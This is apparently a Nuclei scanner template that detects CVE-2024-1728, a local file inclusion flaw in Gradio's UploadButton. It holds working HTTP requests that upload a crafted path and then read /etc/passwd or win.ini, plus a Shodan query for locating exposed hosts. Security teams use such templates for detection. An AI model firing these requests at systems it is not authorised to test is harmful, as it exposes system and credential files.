id: CVE-2024-1728

info:
  name: Local File Inclusion in Gradio
  author: isacaya
  severity: high
  description: |
    Improper validation of user-supplied input in the UploadButton component leads to an LFI vulnerability.
  impact: |
    An attacker would be able to view the contents of a file on the computer.
  remediation: |
    Update to version 4.19.2.
  reference:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-1728
    - https://github.com/gradio-app/gradio/commit/16fbe9cd0cffa9f2a824a0165beb43446114eec7
    - https://huntr.com/bounties/9bb33b71-7995-425d-91cc-2c2a2f2a068a
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2024-1728
  metadata:
    vendor: Gradio
    product: Gradio
    shodan-query: title:"Gradio"
  tags: cve,cve2024,lfi,Gradio,traversal

http:
  - raw:
      - |
        POST /queue/join? HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/json

        {"data":[[{"path":"{{path}}","url":"{{BaseURL}}/file=/help","orig_name":"CHANGELOG.md","size":3549,
        "mime_type":"text/markdown"}]],"event_data":null,"fn_index":0,"trigger_id":2,"session_hash":"{{randstr}}"}

      - |
        GET /queue/data?session_hash={{randstr}} HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /file=§extracted_path§ HTTP/1.1
        Host: {{Hostname}}

    extractors:
      - type: regex
        internal: true
        regex:
          - "C:.*\\win\\.ini"
          - "/tmp/gradio/.*/passwd"
        name: extracted_path

    stop-at-first-match: true
    matchers-condition: or
    matchers:
      - type: dsl
        dsl:
          - "regex('root:.*:0:0:', body)"
          - "status_code == 200"
        condition: and

      - type: dsl
        dsl:
          - "contains(body, 'bit app support')"
          - "contains(body, 'fonts')"
          - "contains(body, 'extensions')"
          - "status_code == 200"
        condition: and

    payloads:
      path:
        - /etc/passwd
        - /windows/win.ini